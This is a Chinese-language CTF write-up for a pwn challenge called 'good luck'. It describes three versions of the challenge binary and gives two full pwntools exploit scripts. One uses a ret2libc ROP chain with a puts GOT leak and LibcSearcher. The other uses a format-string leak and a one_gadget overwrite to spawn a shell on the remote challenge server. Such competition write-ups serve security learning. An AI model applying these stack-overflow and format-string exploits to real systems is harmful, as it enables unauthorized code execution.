一直在忙期中考试,有一段时间没做题了,pwn题做着都没有感觉了。。。不过这次比赛的体验也一言难尽。。。
good luck
比赛期间一直在和这一题斗智斗勇。这道题换了两次附件,好不容易有点眉目了又要重新调:(
第一版附件
漏洞很明显,一个栈溢出, 一个fmtstr
但是进入两个函数只有1%的概率,我也没有什么思路绕过随机数。
再是漏洞函数,就是最基础的一点东西。
fmt漏洞:
栈溢出:
这一题思路确实很明确,但是我的pwntools不知道怎么回事,没办法正常发送payload。。。
第二版附件
这一版附件最重要的变化修改了随机数部分,必定能进漏洞函数,两个漏洞函数二选一,而且pwntools也能正常用了。
我选则的是栈溢出利用。exp如下:
from pwn import *
from LibcSearcher import *
import time
context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./luck")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
overflow = 0x4007F5
pop_rdi_ret = 0x4008d3
while True:
p = process("./luck")
# p = remote("39.99.242.16", 10000)
# p = gdb.debug("./luck", "b *0x4007F5")
p.recvuntil(b'good luck\n')
tmp = p.recvline()
if tmp == b'luck!\n':
payload = b'a' * 0x58
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(overflow)
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = b'a' * 0x58
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
p.close()
但是远程环境和附件好像不一样,我的exp本地打得通,远程打不通。。。。
第三版附件
这一版附件就是在第二版的基础上加上了setvbuf。但正是这一点点的改变,pop rdi
的地址非常凑巧的包含了一个0x0a
,导致我的exp失效了。
被迫换成fmtstr的利用。在调试exp时又发现了另一个比较凑巧的地方:
printf
的got表的地址刚好有一个0x20
,导致scanf
无法正常读取payload。最后参考别人的wp之后,先利用LibcSearcher获取libc版本,从对应的libc文件里获取one_gadget。
from pwn import *
from LibcSearcher import *
import time
context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./luck")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
printf_got = elf.got["printf"]
overflow = 0x4008F5
fmt = 0x400836
ret = 0x400875
pop_rdi_ret = 0x400a23
while True:
# p = process("./luck")
# p = remote("64.27.6.187", 8888)
p = remote("39.99.242.16", 10000)
# p = gdb.debug("./luck", "b *0x400901")
p.recvuntil(b'good luck\n')
tmp = p.recvline()
if tmp == b'fmt\n':
payload = b'%7s\x00\x00\x00\x00'
payload += p64(puts_got)
payload = payload.ljust(0x78, b'\x00')
payload += p64(ret)
payload += p64(fmt)
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
'''
diff = int(hex(system_addr)[-4:], 16)
print(hex(system_addr))
print(hex(diff))
payload = b'%' + str(diff).encode() + b'c'
payload += b'%8hn'
payload = payload.ljust(16, b'a')
payload += p64(printf_got)
payload = payload.ljust(0x78, b'\x00')
payload += p64(fmt)
p.sendline(payload)
p.sendline(b'/bin/sh')
'''
payload = 0x78 * b'\x00'
payload += p64(0x4527a + libc_base)
payload += p64(0) * 20
p.sendline(payload)
p.interactive()
p.close()